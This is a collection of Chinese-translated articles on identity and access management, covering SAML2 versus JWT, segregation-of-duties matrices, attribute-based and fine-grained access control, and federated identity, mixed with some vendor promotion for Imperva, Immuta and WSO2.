在安全方面，仔细规划和监控访问控制过程至关重要。使用强大的访问管理工具来帮助您设置访问控制，并定期检查您的设置，以确保它仍然符合您的组织需求。无论您是投资SolarWinds的Access Rights Manager，还是走另一条路，请确保您选择的工具可以设置协议和机制，以确保用户能够正确访问他们的工作所需的内容，而无需其他。

这篇文章总结了我们对SAML2和JWT的讨论。在这里，我们看一下这两种技术的特性和用例的比较。很难对JWT和SAML2进行直接比较。正如我们在本系列中看到的那样，必须考虑与这些规范一起使用的规范。

对于JWT，我们必须考虑：

• OAuth2 family of specs
• OpenID Connect family of specs
• JWE
• JWS

对于SAML2，我们必须考虑

• SAML2 family of specs
• XML Digital Signature
• XML Encryption
• WS-Security
• WS-Trust

以下总结了SAML2和JWT之间的主要区别。此帖子的原始版本使用表格格式，但Medium.com不支持表格。

年龄

• SAML2：SAML 1.0于2002年推出; SAML2于2005年推出。
• JWT：2014年发布的JWT RFC.JWT更新。

采用

• SAML2：SAML2是Enterprise SSO的事实标准。它已经有一段时间了。
• JWT：JWT，OAuth2和OpenID Connect在社交媒体和科技创业公司中很常见，但现在才进入企业。

哲学

• SAML2：更多的学术方法。简单性不是设计目标。假设将开发运行时库来实现此功能。
• JWT：简单。首先假设应用程序开发人员将实现客户端代码。随着规范的成熟和企业的采用，社区开始摆脱这种局面。

令牌类型

• SAML2：SAML断言（格式严格按规格定义）
• OAuth2：access_token（可以是JWT，但不一定是）
• OIDC：access_token（可以是JWT）和id-token（必须是JWT）。

数据结构

• SAML2：XML（使用XSD定义的结构）
• JWT：JSON（有趣的是，结构不是由JSON Schema定义的）

大小

• SAML2：与JWT相比，趋向于非常大。大小取决于存在的字段，使用签名和加密。
• JWT：比SAML2令牌小很多。 Spec鼓励使用对签名证书的引用而不是嵌入它 - 消除了大型x509签名者证书。
• 支持消息传递协议
• SAML2：主要基于SOAP。
• JWT：REST API

绑定和传输协议

• SAML2：SAML2可以是HTTP POST，HTTP GET，SOAP（取决于场景），JMS（很少见，但可能发生），等等
• JWT：HTTPS

数字签名

• SAML2：XML签名
• JWT：JWS（支持的散列和加密算法略有不同）

消息级加密

• SAML2：XML加密
• JWT：JWE（支持的加密算法略有不同）***

X509证书表示

• SAML2：X509BinarySecurityToken类型
• JWT：JSON Web Key规范（JWK）

核心规格范围

• SAML2：定义令牌（SAML断言）和底层协议（用于Web App SSO）的结构。
• JWT：JWT仅定义令牌结构。 OAuth2和OpenID Connect定义协议。

客户端基础架构

• SAML2：通常需要支持库（重量级）
• JWT：通常可以通过构造简单的HTTP查询来实现。签名和加密将是此规则的例外。*

主题确认方法支持

• SAML2：SAML2支持承载令牌，密钥持有者和发件人凭证。
• JWT：JWT最初只支持Bearer Tokens。 Key持有人（2016年4月增加了占有证明支持）。

授权和假冒（OnBehalfOf和ActAs）

• SAML2：在WS-Trust规范中定义
• JWT：OAuth2的扩展规范（OAuth2令牌交换规范）

支持动态信任库更新和元数据信息的发布。

• SAML2：WS-Federation规范定义了如何发布此信息。但是，它并没有普遍使用。客户端很少动态检索IdP发布的信息以更新其签名者证书信任库。
• JWT：OpenID Connect Discovery规范定义了发布IdP元数据的元数据端点。强烈建议构建可以访问此信息并动态构建/更新信任库的客户端。**

*使用库几乎总是建议从头开始构建查询/请求。
**当必须续签签名者证书时，这一个细节可以节省1000个工时。
*** JWE和XML加密也会有很多相关的差异，但我还没有达到那个系列:)。
XML DSig与JSON Web签名系列中列出的所有差异也适用于此处。

原文：https://medium.com/@robert.broeckelmann/saml2-vs-jwt-a-comparison-254bafd98e6

本文:http://pub.intelligentx.net/node/368

讨论: 请加入知识星球【首席架构师圈】

API在加速数字经济创新方面发挥着关键作用，但它们也可能为网络犯罪分子提供更广泛的攻击面。 Imperva API Security可以保护您的API，让您高枕无忧，同时检测并阻止漏洞攻击。

这个怎么运作

使用API安全性，只需上传DevOps团队创建的OpenAPI规范文件，Imperva将自动构建一个积极的安全模型，确保只有您希望访问API的流量得到强制执行，并且所有API端点在发布后立即受到保护。

受益于我们的云WAF，CDN，攻击分析和第3/4层DDoS保护的现有功能，我们的单一堆栈方法可确保对您的网站和API最重要的方法。

将DevOps和安全性结合在一起

API的部署由开发人员拥有和管理。 您的组织的敏捷性取决于您的开发人员发布新API并快速更改现有API的能力。 通过API安全无缝集成到您的API生命周期管理中，对您的安全签名进行橡皮图章处理从未如此迅速。

免维护API安全自动化

根据您的OpenAPI规范自动创建和实施积极的安全模型。 减少在DevOps中成为安全专家所花费的时间和精力，并允许Imperva保护您发布的Swagger文件。

单堆栈方法

Imperva API Security通过将我们的API安全解决方案与我们同类网站和API的最佳统一CDN层，负载平衡和DDoS L3 / 4合作，可以降低总体拥有成本（TCO）。

统一并简化您的应用程序安全解决方案

受益于我们一流的综合攻击分析和直观的单一玻璃仪表板。 构建跨网站和API的统一安全策略。

完整的端点保护

Imperva API Security使用根据您的API调整的开箱即用安全规则为您的方法提供支持。 这可确保用户可以在任何位置查看每个API端点的所有安全事件。

将API生命周期管理流程与安全性集成

Imperva API Security集成到您的CI / CD工具中。 每次开发人员更改或添加API时，我们也会自动更新您发布的API。

API网关供应商

Imperva的API安全解决方案与供应商无关，可与许多业界领先的API网关解决方案无缝协作。 点击任何徽标即可访问其网站：

本文：https://jiagoushi.pro/imperva-api-security

讨论：请加入知识星球或者小红圈【首席架构师圈】

几十年来，逻辑访问管理是IT通用控制环境中的一个关键控制。即使管理逻辑访问权限的一般概念非常简单，许多组织仍在努力应用所有这些原则。SoD矩阵可能是添加到组织工具箱中的有用工具。

逻辑访问原则概述

逻辑访问管理的主要原则是最小权限原则。组织中的员工应该只能访问他/她执行其工作职责所需任务所需的功能、数据和信息。许多控制可以帮助实现这一原则。以下是几个例子：

• 新员工：当您的组织中有新员工时，应实施正式流程来批准此角色所需的访问权限。审批应由管理层执行。
• 角色修改/晋升：当员工在组织中有新工作或新职责时，应实施正式流程来批准所需的新访问权限，并在不再需要时删除以前的访问权限。

在分析上述控制措施时，必须考虑职责分离（SoD）。事实上，SoD的概念是让不同的员工参与整个过程中的特定任务。因此，一个人不应该有权执行关键流程中的所有任务。

示例：为收到的发票向供应商付款

此过程中的一般步骤（此处仅列出示例的关键步骤）：

• 在系统中创建供应商
• 验证并输入发票
• 支付发票
• 记录交易

如果在此过程中不尊重SoD，则同一员工有权执行4个步骤。然而，这是有风险的，因为员工有可能创建假供应商（例如使用他/她自己的银行账号），创建假发票并付款。因此，在这种情况下，SoD不会得到维护，这会增加组织中的欺诈风险。

SoD矩阵的有用性

SoD矩阵的实施可以帮助管理层识别不兼容的职责，并验证授予员工的访问权限不会增加未经授权的交易或行动的风险。

矩阵的几种格式可以识别不兼容的职责。以下是一个示例：

当SoD矩阵完成时，它有助于管理层定义工作职责中的角色和责任，以及财务或行政系统的it角色。经理可以根据矩阵进行SoD分析，以快速确定员工是否拥有过多的访问权限，但职责不兼容。

可以在分析中添加另一个补充矩阵，其中组织将包括授予访问权限的不同角色（或员工姓名）。该矩阵可以与SoD矩阵进行比较，以快速识别特定角色中不兼容的职责。

灵活且进化的工具

矩阵的创建不是一项静态任务，而是随着组织的发展而变化。管理层应进行定期审查，以验证矩阵仍然与组织的运营相关。

此外，管理层应该意识到，不同的系统可能会产生不兼容的职责。来自多个系统的访问权限的组合可能会产生不兼容的职责。因此，系统不应创建SoD矩阵。

不仅仅是适用于金融的工具

此工具不仅适用于财务部门。事实上，在组织的许多部门和团队中，职责分离是至关重要的。在人力资源部门，同一名员工不应该有权雇佣新员工、管理福利和管理工资。在IT部门，同一员工不应该有权在开发环境中开发新功能并将其转移到生产中。SoD矩阵可以成为这些部门识别不兼容职责的有用工具。

如果您的组织太大而没有一个单一的SoD矩阵，该怎么办？

您可以按部门创建一些SoD矩阵，以帮助管理不兼容职责的风险。矩阵分割应基于风险和部门之间的相互依存关系。

如果您的组织太小，无法在同一部门拥有不同的员工来履行所有关键职能，该怎么办？

这是中小型企业的常见问题。事实上，这些组织中可能会出现SoD冲突，因为按部门划分只有少数员工。在这种情况下，重要的是确定SoD冲突以及与此冲突相关的风险。当风险被识别时，实施补偿控制以减轻/降低这种风险是很重要的。

实例

在IT部门，员工A有权在开发环境中开发新功能，并将其应用到生产环境中。这是一场SoD冲突。IT经理可以在进入生产环境之前批准所有更改（预防性控制）。但是，员工可以创建更改，而无需征得经理的批准。因此，应实施额外的控制：管理层根据日志定期审查所有变更（检测控制）。事实上，IT经理可以定期验证日志，以验证所有更改是否已获得批准。显然，员工A不应该有权修改更改日志！

总之，考虑到不断发展的环境：新员工、离职、晋升、新任务、新系统、新项目等，并非所有组织都能轻松管理逻辑访问管理。管理层应意识到围绕逻辑访问权限和SoD冲突的风险，以实施关键控制（包括必要时的补偿控制）并适当界定其团队中的角色和责任。

基于属性的访问控制（ABAC）是一种授权模型，它评估属性（或特征），而不是角色，以确定访问。ABAC的目的是保护数据、网络设备和IT资源等对象免受未经授权的用户和操作的影响，这些用户和操作不具有组织安全策略定义的“批准”特征。

ABAC作为一种逻辑访问控制形式在过去十年中变得突出，它是从简单的访问控制列表和基于角色的访问控制（RBAC）演变而来的。作为帮助联邦组织改进其访问控制架构的一项举措的一部分，联邦首席信息官委员会于2011年批准了ABAC。他们建议ABAC作为组织安全共享信息的模式。

在这篇文章中，我们将深入探讨基于属性的访问控制是如何工作的，并考虑采用ABAC对您的组织有益的方式。

基于属性的访问控制的主要组件是什么？

使用ABAC，组织的访问策略根据访问事件中涉及的主题、资源、操作和环境的属性强制执行访问决策。

主题

主题是请求访问资源以执行操作的用户。用户配置文件中的主题属性包括ID、工作角色、组成员身份、部门和组织成员身份、管理级别、安全许可和其他识别标准。ABAC系统通常从HR系统或目录中获取这些数据，或者从登录期间使用的身份验证令牌中收集这些信息。

资源

资源是主体想要访问的资产或对象（例如文件、应用程序、服务器甚至API）。资源属性都是识别特征，如文件的创建日期、所有者、文件名和类型以及数据敏感性。例如，当尝试访问您的在线银行帐户时，所涉及的资源将是“bank account = <correct account number>.”

行动

该操作是用户试图对资源执行的操作。常见的动作属性包括“读取”、“写入”、“编辑”、“复制”和“删除”。在某些情况下，多个属性可以描述一个动作。继续在线银行示例，请求转账可能具有“action type = transfer”和“amount = $200.”的特征

环境

环境是每个访问请求的更广泛的上下文。所有环境属性都与上下文因素有关，如访问尝试的时间和位置、受试者的设备、通信协议和加密强度。上下文信息还可以包括组织已确定的风险信号，例如认证强度和受试者的正常行为模式。

ABAC如何使用属性来表达访问控制策略？

属性是访问事件中涉及的组件的特征或值。基于属性的访问控制根据规则分析这些组件的属性。这些规则定义了授权哪些属性组合，以便主体成功地对对象执行操作。

基于属性在环境中的交互方式，每个ABAC解决方案都可以在环境中评估它们，并实施规则和关系。策略考虑属性来定义允许或不允许哪些访问条件。

例如，假设以下策略已到位：

“如果受试者担任通信工作，他们应该能够阅读和编辑所代表业务部门的媒体策略。”

每当发生访问请求时，ABAC系统都会分析属性值，以查找与已建立策略的匹配。只要上述策略有效，具有以下属性的访问请求应授予访问权限：

• Subject’s “job role” = “communications”
• Subject’s “business unit” = “marketing”
• Action = “edit”
• Resource “type” = “media strategy document”
• Resource “business unit” = “marketing”

实际上，ABAC允许管理员实现基于策略的细粒度访问控制，使用不同的属性组合来创建特定或广泛的访问条件。

ABAC的优点是什么？

现在您已经知道了ABAC是什么以及它是如何工作的，让我们来看看它如何保持业务的敏捷性和安全性。基于属性的访问控制有三个主要好处：

精细而灵活的决策

ABAC的主要优势是其灵活性。本质上，决策的局限性在于必须考虑哪些属性，以及计算语言可以表达的条件。ABAC允许最大范围的主题访问最大数量的资源，而不需要管理员指定每个主题和对象之间的关系。以以下步骤为例：

1. 当受试者加入组织时，他们会被分配一组受试者属性（例如，John Doe是放射科的顾问）。
2. 创建对象时，将为其分配属性（例如，包含心脏病患者心脏成像测试文件的文件夹）。
3. 然后，管理员或对象所有者创建访问控制规则（例如，“放射科的所有顾问都可以查看和共享心脏病患者的心脏成像测试文件”）。

管理员可以进一步修改这些属性和访问控制规则，以满足组织的需要。例如，当为外部主体（如承包商和供应商）定义新的访问策略时，他们可以在不手动更改每个主体-对象关系的情况下这样做。ABAC允许各种各样的访问情况，几乎没有管理监督。

与新用户的兼容性

使用ABAC，管理员和对象所有者可以创建允许新主体访问资源的策略。只要为新受试者分配了访问对象所需的属性（例如，放射科的所有顾问都分配了这些属性），就不需要修改现有规则或对象属性。

ABAC模型允许组织在招聘新员工和支持外部合作伙伴时保持灵活。

严格的安全和隐私

通过属性的使用，ABAC允许决策者控制许多情境变量，以细粒度为基础确保访问安全。例如，在RBAC模型中，人力资源团队可能始终可以访问敏感的员工信息，如工资数据和个人身份信息。使用ABAC，管理员可以实施考虑上下文的智能访问限制。例如，人力资源员工只能在特定时间或仅限相关分支机构的员工访问这些信息。

因此，ABAC允许组织有效地弥补安全漏洞，尊重员工隐私，同时有效地遵守法规遵从性要求。

ABAC的缺点是什么？

谈到ABAC，收益远远超过成本。但在实现基于属性的访问控制之前，企业应该记住一个缺点：实现复杂性。

设计和实施复杂

ABAC很难起步。管理员需要手动定义属性，将其分配给每个组件，并创建一个中央策略引擎，根据各种条件（“如果是X，则是Y”）确定允许哪些属性。该模型对属性的关注也使得在所有属性和规则到位之前，很难衡量特定用户可用的权限。

然而，虽然实现ABAC需要花费大量的时间和资源，但付出的努力确实是有回报的。管理员可以复制和重用类似组件和用户位置的属性，ABAC的适应性意味着为新用户和访问情况维护策略是一件相对“不干涉”的事情。

我的组织的正确访问控制模型是什么？

组织的规模是一个关键因素。由于ABAC最初难以设计和实现，小企业可能难以考虑。

对于中小型企业来说，RBAC是ABAC的一个更简单的替代方案。每个用户都被分配了一个具有相应权限和限制的唯一角色。当用户移动到新角色时，其权限将更改为新职位的权限。这意味着，在明确定义角色的层次结构中，很容易管理少量内部和外部用户。

然而，当必须手动构建新角色时，对于较大的组织来说效率不高。一旦定义了属性和规则，当用户和利益相关者众多时，ABAC的策略就更容易应用，同时也降低了安全风险。

简而言之，如果出现以下情况，请选择ABAC：

• 你在一个拥有众多用户的大型组织中
• 您需要深度、特定的访问控制功能
• 你有时间投资于一个能走得更远的模型
• 您需要确保隐私和安全合规

但是，如果：

• 你在一家中小型企业
• 您的访问控制策略很宽泛
• 您的外部用户很少，而且您的组织角色已明确定义

确定谁可以和不能访问某些数据的最传统方法之一是一个称为基于角色的访问控制（RBAC）的框架。此方法定义公司内的特定用户角色，然后为每个角色指定权限。但如果一家公司需要超越这些简单的授权呢？每次添加新的数据平台、数据源或数据集时，必须为每个角色定义访问权限。在大型、复杂的公司，甚至是小型但不断发展的公司中，可能有数十甚至数百个角色需要管理，这些角色不断扩大。

最简单地说，RBAC可能看起来像这样：ROLE A

• 包括员工X、员工Y和员工Z
• 可以访问文件夹3、文件夹4和文件夹5

角色B

• 包括员工A、员工B和员工C
• 可以访问文件夹1、文件夹2和文件夹3

您可以看到，这会变得非常复杂和难以管理。细粒度访问控制（包括基于属性的访问控制）是控制数据和资源访问的一种更优雅、更细粒度的方式，是一种更强大的选择。

什么是细粒度访问控制？

细粒度访问控制是一种控制谁可以访问某些数据的方法。与广义数据访问控制（也称为粗粒度访问控制）相比，细粒度访问控制使用了更细微和可变的方法来允许访问。

最常用于大量数据源存储在一起的云计算中，细粒度访问控制为每个数据项提供了自己指定的访问策略。这些标准可以基于许多特定因素，包括请求访问的人员的角色和对数据的预期操作。例如，一个人可能被授予编辑和更改数据的权限，而另一个人可能只被授予读取数据的权限而不进行任何更改。

为什么细粒度访问控制很重要？

在云计算中，将大量信息存储在一起的能力是一个巨大的竞争优势。但是，这些数据的类型、来源和安全级别可能有所不同，特别是考虑到与客户数据或财务信息相关的数据安全合规性法律法规时。

当数据类型可以单独存储，并且可以根据存储位置简单地分配对特定数据类型的访问权限（例如，Tim可以访问X文件夹，Natalie可以访问Y文件夹等）时，粗粒度访问控制可能会起作用，如在本地环境中。但当数据一起存储在云中时，细粒度访问控制至关重要，因为它允许具有不同访问要求的数据在同一存储空间中“生存”，而不会遇到安全或法规遵从性问题。

如何使用细粒度访问控制？

以下是细粒度访问控制的一些最常见用例：

用例1：多个数据源存储在一起

在云中，大量不同的数据类型存储在一个地方。您不能简单地基于角色授予对这些存储段的批量访问权限—某些数据类型可能可以由某个角色访问，而其他数据类型则不应该。因此，细粒度访问控制非常重要，因为它为特定数据类型设置访问参数，即使在一起存储时也是如此。

用例2：基于角色的不同访问程度

细粒度访问控制最显著的好处之一是它允许不同程度的访问，而不是基于用户、其角色或所属组织的通过/失败方法。在粗粒度系统中，数据可能会根据谁试图访问它而简单地分为两类——允许或禁止。但是有了细粒度的访问控制，就有了更微妙和变化的空间。

例如，假设三名员工具有不同的角色和访问级别。对于某段数据，您可以设置参数，以便其中一个员工可以访问该文件，对其进行更改，甚至移动其位置。第二个员工可以查看文件并移动它，但不能访问它。第三名员工可能只被授予读取文件的权限。

这种级别的特殊性可以帮助您的公司避免因某些人需要查看数据而无法查看而带来的不便和沮丧，因为他们的权限受到了完全限制。

用例3：确保移动访问安全

越来越多的公司支持通过智能手机等移动设备远程访问数据。与此同时，由于人们在家或在不同的时间工作，标准工作日也在延长。考虑到这一点，公司可能需要实施不仅基于角色或身份，而且基于时间或位置等因素的数据访问控制。

细粒度访问控制允许这样做。例如，您可以将访问权限限制在特定位置，这样员工就无法从可能受到破坏的第三方无线服务器访问该位置。

用例4：第三方访问

在许多情况下，B2B企业可能希望让第三方访问其存储在云中的部分资产，而不会有数据意外更改或安全受损的风险。细粒度访问控制可以允许这些公司授予第三方只读访问权限，从而确保其数据的安全。

细粒度访问控制的要素是什么？

通常认为有三种主要形式的访问控制解决方案：

• 基于角色的访问控制
• 基于属性的访问控制
• 基于策略的访问控制

基于角色的解决方案被认为是粗粒度的，因为它们将用户组织为“角色”，并仅基于这些角色授予或拒绝访问权限，而忽略了其他因素。这意味着它们可能过于宽泛或限制，无法有效扩展。事实上，一项独立研究发现，Apache Ranger的RBAC方法需要比Immuta的基于属性的方法多75倍的策略更改。

在细粒度访问控制方面，两种主要方法是基于属性的访问控制和基于目的的访问控制。

基于属性的访问控制

基于属性的访问控制将“属性”分配给特定用户和数据，然后根据这些属性确定访问。这些属性可以包括用户的位置或角色，但也可以包括他们的位置、一天中的时间和其他因素。数据属性可能包括数据类型、创建日期或存储位置等。

基于目的的访问控制

基于目的的访问控制是最灵活的访问控制授权形式，它使用灵活且不断发展的逻辑连接将一系列角色和属性结合在一起。它被认为是一种细粒度访问控制解决方案，因为它使用多个属性来确定数据是否可以访问，以及访问的程度。这篇关于使用Databricks和Immuta实现零信任的博客介绍了基于目的的访问控制。

选择数据访问控制工具

正在寻找一种能够提供细粒度访问控制以及更多功能的数据访问控制工具？Immuta通过在查询时动态应用的自动、基于属性和目的的控件实现自助数据访问。这些数据访问控制由一系列增强数据访问控制和通用云兼容性和安全性的其他功能补充，包括：

• 敏感数据发现和分类
• 动态数据屏蔽
• 数据策略执行和审核

凭借Immuta的细粒度、动态访问控制功能，数据工程和运营团队将其角色数量减少了100倍，并将自助数据访问从几个月减少到几秒钟。

介绍

联合身份管理是一种可以在两个或多个信任域之间进行的安排，以允许这些域的用户使用相同的数字身份访问应用程序和服务。这称为联合身份，使用这种解决方案模式称为身份联合。

联合身份管理建立在两个或多个域之间的信任基础之上。例如，信任域可以是合作伙伴组织、业务单位、子公司等。

在当今的任何数字组织中，身份和访问管理 (IAM) 是一项专门的功能，委托给称为身份代理的服务提供商。这是一项专门在多个服务提供商之间代理访问控制的服务，也称为依赖方。联合身份管理是跨组织的两个或多个提供者之间做出的安排。

根据身份代理在联合身份管理中所扮演的角色，身份代理可能有其他名称。这些名称在整个行业中并未标准化，尽管以常见的说法使用并且可以互换使用。因此，无论何时使用这些名称，都必须在相关上下文中指定这些名称，并且根据安排，身份代理可能扮演多个角色。

这些角色包括：

• 身份提供者
• 居民身份提供者
• 联合身份提供者
• 联合提供者
• 常驻授权服务器

以下是每个角色的简要说明。

身份提供者负责声明带有声明的数字身份，供服务提供者使用。

居民身份提供者是针对数字身份定义的，并且不负责在其信任域内声明数字身份。有时这也称为本地身份提供者或现任身份提供者。

联合身份提供者是针对信任域定义的，并负责声明属于第二个信任域的数字身份。两者之间建立了信任关系。

联合提供者一词表示身份代理，它专门根据信任关系在多个服务提供者和多个身份提供者之间调解 IAM 操作。

驻留授权服务器是针对服务提供者定义的，并且是应用程序或服务提供者的逻辑表示所在的位置。它负责对应用程序或服务提供者进行身份验证和授权以获取所请求的访问权限。

身份联合的好处

• 提供无缝的用户体验，因为用户只需要记住一组凭据。
• 大多数实现都支持单点登录。
• 通过将帐户和密码管理职责委托给常驻身份提供者来避免管理开销，而不必管理多个身份孤岛。
• 简化数据管理和存储成本。
• 避免隐私和合规负担。

联合身份管理用例示例

• 联合身份管理提供对来自供应商、分销商和合作伙伴网络的用户的访问。
• 联合身份管理为并购后传统组织范围之外的新用户提供访问权限。
• 联合身份管理提供对来自银行等商业身份提供者的用户的访问，例如，PSD2 中的第三方支付提供者 (TPP)。提供对来自银行等商业身份提供者的用户的访问，例如，PSD2 中的第三方支付提供者 (TPP) .
• 联合身份管理使用国家身份提供者（例如 DigiD、Emirates ID 等）向公民提供访问权限。
• 联合身份管理为拥有公共组织 ID（例如 ORCID ID）的用户提供访问权限。
• 此外，这允许使用社交登录（注册/登录/连接），例如 Facebook、Google、LinkedIn 等。
• 此外，它可以用作临时安排，以支持 IAM 系统之间的转换。

入站和出站身份联合

身份联合大致分为两个领域：

• 入站身份联合
• 出站身份联合

在身份联合流程中，一个从另一个身份代理接收断言的身份代理称为入站身份联合。 这允许您向您的组织的传统边界/信任域之外的身份提供对您的应用程序和服务的访问。

类似地，产生要由另一个身份代理使用的断言的身份提供者称为出站身份联合。 这允许您管理的身份访问您组织的传统边界/信任域之外的应用程序和服务。

• Figure 1: Identity Federation between the Enterprise and SaaS Application

图 1 说明了企业和 SaaS 应用程序之间的身份联合安排。 SaaS 应用程序托管在 Azure 云中，其身份验证委托给联合提供商。企业是 SaaS 应用程序的租户和联合提供商。企业身份提供者 (ADFS) 在 Azure 云中联合提供者的相应租户中配置为联合身份提供者。因此，在云租户的联合提供者和企业身份提供者之间建立了信任。因此，企业身份提供者中的用户将能够使用他们在企业身份提供者中的身份登录到 SaaS 应用程序的相应租户。

所描述的流程是关于认证的。但是，为了让用户获得完全访问权限，他们还需要通过授权。授权可能是也可能不是这种联合安排的一部分。

身份联合与单点登录

大多数联合身份管理解决方案的实施方式是，用户无需在每个登录会话中多次证明其身份。单点登录不是身份联合的同义词。但是，它是其实施方式的副产品。

另一方面，并​​不是所有的单点登录实现都可以归类为身份联合。例如，基于 Kerberos 网络身份验证协议的集成 Windows 身份验证 (IWA) 是跨应用程序和服务的单点登录实施示例，但不被视为身份联合的示例，因为它仅限于特定网络。

带上你自己的身份

随着使用社交身份访问应用程序和服务的趋势，自带身份 (BYOID) 一词变得流行起来。虽然 BYOID 通常用于社会身份的背景下，但该概念适用于由政府、非政府组织或企业发布的任何联合数字身份。

用例 3、4、5 和 6 都是 BYOID 的示例，常见于客户 IAM (CIAM)。它们可以进一步划分为 BYOID，用于注册、登录和连接。尽管所有这 3 个用例都遵循类似的流程，但这些用例的目标存在细微差别。

“用于注册的 BYOID”的目标是通过检索一部分以完成在中间身份代理中为用户创建帐户所必需的个人资料信息，使用管理的身份来改善自我注册过程的用户体验由第三方。

相反，“用于登录的 BYOID”的目的是使最终用户的登录流程尽可能顺畅，同时尽可能减少额外输入的提示。用于登录的 BYOID 不一定需要在中间身份代理中配置本地帐户。

最后，“BYOID 连接”的目的只是用附加/缺失的信息丰富/填充本地用户配置文件。

联合帐户链接

联合身份提供者的关键特征之一是将多个联合身份提供者中的单个身份的数字标识符链接到常驻身份提供者中的数字标识符。 这称为联合帐户链接。

如果没有联合帐户链接，联合提供者将仅在服务提供者和联合身份提供者之间进行调解。 这种联合模式常见于非关键应用和服务中，例如公共论坛、下载表格、白皮书、报告等。这可以在下面的图 2 中看到。

• Figure 2: Federated login without account linking

然而，对于联合帐户链接，除了调解之外，联合提供者还可以提供帐户管理、密码管理和权利管理等功能，如图 3 所示。

• Figure 3: Federated login with account linking

即时账户配置

即时帐户配置技术用于在中间身份代理中为用户即时设置帐户。 即时账户配置是即时账户链接的关键部分。 图 4 更好地说明了这一概念。

Figure 4: Federated login with just-in-time account provisioning

即时密码配置

即时密码配置是即时账户配置的可选步骤。对此类供应的需求通常取决于组织的组合帐户和密码策略以及用户将访问的应用程序。如果您决定为本地帐户提供新密码，则允许用户继续使用联合身份登录也是可选的。

家庭领域发现

与单一身份提供者联合不足以满足当今的企业需求。由于需要支持多个合作伙伴或多个社交登录选项，通常会配置多个联合身份提供者（称为领域）。在这种情况下，为尝试访问应用程序或服务的特定用户选择常驻身份提供者（通常称为家庭领域）成为一项挑战，尤其是在用户体验方面。

家庭领域发现 (HRD) 是识别特定用户的常驻身份提供者的过程，以便对用户进行身份验证并通过声明断言用户的身份。 HRD 最初是 Microsoft 术语，但该概念适用于所有现代身份联合。关于如何实施 HRD 没有标准。每个供应商都有自己的风格，因此很难支持可移植性。

HRD 方法可以是自动的或涉及手动用户交互。以下是一些常用的HRD方法：

1. 向用户提供可供选择的选项列表。
2. 标识符首次登录 — 提示用户输入自己的标识符，并根据标识符解析身份提供者。例如，如果标识符是 johann@gmail.com，我们会知道 Johann 的身份提供者是 Google，向 Google 发起身份验证请求，理想情况下，标识符会预先填写在 Google 登录表单中，以便用户不必重新输入他的标识符。
3. 选择性家庭领域发现 — 限制用于特定服务提供者的身份提供者。这在有多个您信任的联合身份提供者但具有仅由身份提供者的特定子集中的用户使用和访问的服务提供者的情况下很有用。
4. 使用服务提供者添加的 HTTP 查询参数。
5. 使用用户设备的 IP 地址。例如，Intranet 用户必须使用 Active Directory (AD) 中的本地帐户登录，而 Internet 用户必须从具有多因素身份验证的上游身份提供者登录，以提高安全性。
6. 使用通过拦截代理服务器添加的标头。
7. 使用 cookie 来记住用户之前在设备上选择的领域。如果未找到 cookie，则回退到手动方法。
8. 联合身份提供者本身可以是一个联合提供者，后者又与其他身份提供者联合。在这种情况下，提示用户在每个中间联盟提供商处为 HRD 提供信息，可能会被认为是糟糕的用户体验。因此，可能需要预先从用户那里收集所有可能的信息，以将其路由到正确的居民身份提供者。

支持 IAM 转换

身份联合也可以用作 IAM 的过渡策略。它可以促进从多个分散的源用户目录到单个集中的目标用户目录的转换。在这种情况下，将提供密码。最终迁移所有帐户后，您可能决定将这些管理分布式目录的联合身份提供者与生态系统断开连接。

概括

本文重点介绍联合身份管理及其用法。有许多身份联合协议，例如安全断言标记语言 (SAML2) Web SSO、OpenID Connect、WS-Trust、WS-Federation 等。虽然我们没有研究任何用于实现联合身份管理的特定协议，我们讨论的概念对于您可能选择用来实现它的任何协议都保持不变。

WSO2 Identity Server 是在 Apache 2.0 许可下分发的开源 IAM 产品。它拥有强大的身份管理和身份联合框架，使其能够在联合身份管理系统中扮演任何身份代理的角色，如本文所述。

原文：https://wso2.com/articles/2018/06/what-is-federated-identity-management/

本文：https://jiagoushi.pro/node/1974

身份和访问管理 (IAM) 是一个安全框架，可帮助组织识别网络用户并控制其职责和访问权限，以及授予或拒绝权限的场景。 IAM 通常指的是授权和身份验证功能，例如：

• 单点登录 (SSO)，因此您可以让用户能够使用一组凭据进行一次登录，从而获得对多个服务和资源的访问权限
• 多因素身份验证 (MFA)，因此您可以通过要求用户提供两个或更多因素作为身份证明来获得更高级别的用户身份保证
   

访问管理，因此您可以确保只有正确的人才能访问正确的资源
 

在网络边界不再可靠或不再相关的世界中，这些功能是确保安全的基础。但对于许多组织而言同样重要的是以下身份安全功能：

目录

• 身份验证
• 同意收集和数据隐私管理
• 风险管理
• 个人身份
• API 安全性
• 为用户和开发人员提供自助服务

这些高级功能可针对不断演变的威胁提供额外保护，帮助您支持遵守越来越多的法规，并为用户提供他们期望的体验。

IAM 的目的是什么，为什么它很重要？

您的用户不再局限于受防火墙保护的员工。随着远程工作越来越受欢迎，您需要能够让不同的员工用户从任何地方和任何设备上访问资源，以确保生产力不会受到影响。

您的客户还通过越来越多的数字渠道与您互动。随着客户行为的改变，您现在也必须为这些用户提供访问权限，否则就有失去竞争优势的风险。

这些工作完成方式和采购决策方式的转变将传统的安全方法推向了临界点。但安全要求并不是唯一改变的事情。

您的用户（包括员工和客户）已经习惯了便利。因此，他们希望能够在他们想要的时间和地点快速轻松地获得资源、服务和商品。虽然您的员工可能更倾向于使用所提供的东西，但您的客户可以并且将探索他们的选择。

在当今的数字化和无边界世界中，传统的边界安全方法不再可靠或相关。 IAM 将边界转移到用户身上，并将身份置于安全的中心。在授予用户访问敏感资源或数据的访问权限之前，您可以确保用户是他们声称的身份。但是你也不能让这个过程过于繁琐。在安全性和体验之间取得适当的平衡至关重要，IAM 可以帮助您做到这一点。

客户身份和访问管理 (CIAM)：专为客户用例设计的 IAM

谈论 IAM 而不包括至少对客户 IAM (CIAM) 的简短讨论几乎是不可能的，甚至可能是不负责任的。虽然许多组织发现 IAM 满足提供安全的劳动力访问的要求，但它通常缺乏客户用例所需的功能。

借助 CIAM，您可以获得能够提供卓越客户体验的能力，包括：

• 统一配置文件，以便您可以为客户提供一致的多渠道体验和个性化交互
• 强大的安全功能扩展到数据层，因此您可以保护宝贵的客户数据并降低违规风险
• 性能和可扩展性，因此您可以在高峰时段和吸引新客户时提供即时和无摩擦的访问
   

隐私和法规遵从性，因此您可以让客户能够控制其数据的共享方式和共享对象，并遵守通用数据保护条例 (GDPR) 等法规

什么是 Cloud Identity and Access Management (Cloud IAM)？

